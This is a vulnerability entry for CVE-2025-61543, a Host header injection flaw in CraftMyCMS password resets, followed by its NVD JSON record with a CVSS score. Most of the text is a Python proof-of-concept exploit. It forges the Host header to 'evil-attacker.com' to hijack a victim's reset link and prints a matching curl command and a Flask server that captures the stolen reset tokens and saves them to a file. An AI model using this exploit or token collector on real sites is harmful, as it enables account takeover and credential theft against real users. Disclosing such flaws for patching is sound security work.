CVE-2025-61543

# CVE-2025-61543 - CraftMyCMS Host Header Injection PoC # This PoC demonstrates how an attacker can inject a malicious Host header # to redirect password reset links to an attacker-controlled server. import requests # Target configuration target_url = "http://target-craftmycms-site.com" reset_endpoint = "/password/reset" # Adjust based on actual CMS routing attacker_host = "evil-attacker.com" # Step 1: Send a password reset request with a manipulated Host header headers = { "Host": attacker_host, # Inject malicious host "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" } # Victim's email or username data = { "email": "[email protected]", # Target victim's account "submit": "Reset Password" } print(f"[*] Sending password reset request with manipulated Host header: {attacker_host}") response = requests.post( f"{target_url}{reset_endpoint}", headers=headers, data=data, allow_redirects=False ) if response.status_code == 200 or response.status_code == 302: print("[+] Password reset request sent successfully!") print(f"[+] The victim will receive an email with a reset link pointing to: http://{attacker_host}/reset?token=XXXXX") print("[*] Set up a listener on the attacker server to capture the reset token when the victim clicks the link.") else: print(f"[-] Request failed with status code: {response.status_code}") # Step 2: Alternative - using curl command print("\n[*] Equivalent curl command:") print(f'''curl -X POST "{target_url}{reset_endpoint}" \\ -H "Host: {attacker_host}" \\ -H "Content-Type: application/x-www-form-urlencoded" \\ -d "[email protected]&submit=Reset+Password"''') # Step 3: On the attacker server, capture the reset token # Example Flask app to capture tokens: print("\n[*] Attacker server listener (Python Flask example):") print(''' from flask import Flask, request app = Flask(__name__) @app.route('/reset', methods=['GET']) def capture_token(): token = request.args.get('token') if token: print(f"[+] Captured reset token: {token}") with open("stolen_tokens.txt", "a") as f: f.write(f"{token}\n") return "Please wait...", 200 if __name__ == '__main__': app.run(host='0.0.0.0', port=80) ''')

{"cve": {"id": "CVE-2025-61543", "sourceIdentifier": "[email protected]", "published": "2025-10-16T15:15:34.847", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Host Header Injection vulnerability exists in the password reset functionality of CraftMyCMS 4.0.2.2. The system uses `$_SERVER['HTTP_HOST']` directly to construct password reset links sent via email. An attacker can manipulate the Host header to send malicious reset links, enabling phishing attacks or account takeover."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/bugdotexe/Vulnerability-Research/tree/main/CVE-2025-61543", "source": "[email protected]"}, {"url": "https://owasp.org/www-community/vulnerabilities/HTTP_Host_header_injection", "source": "[email protected]"}]}}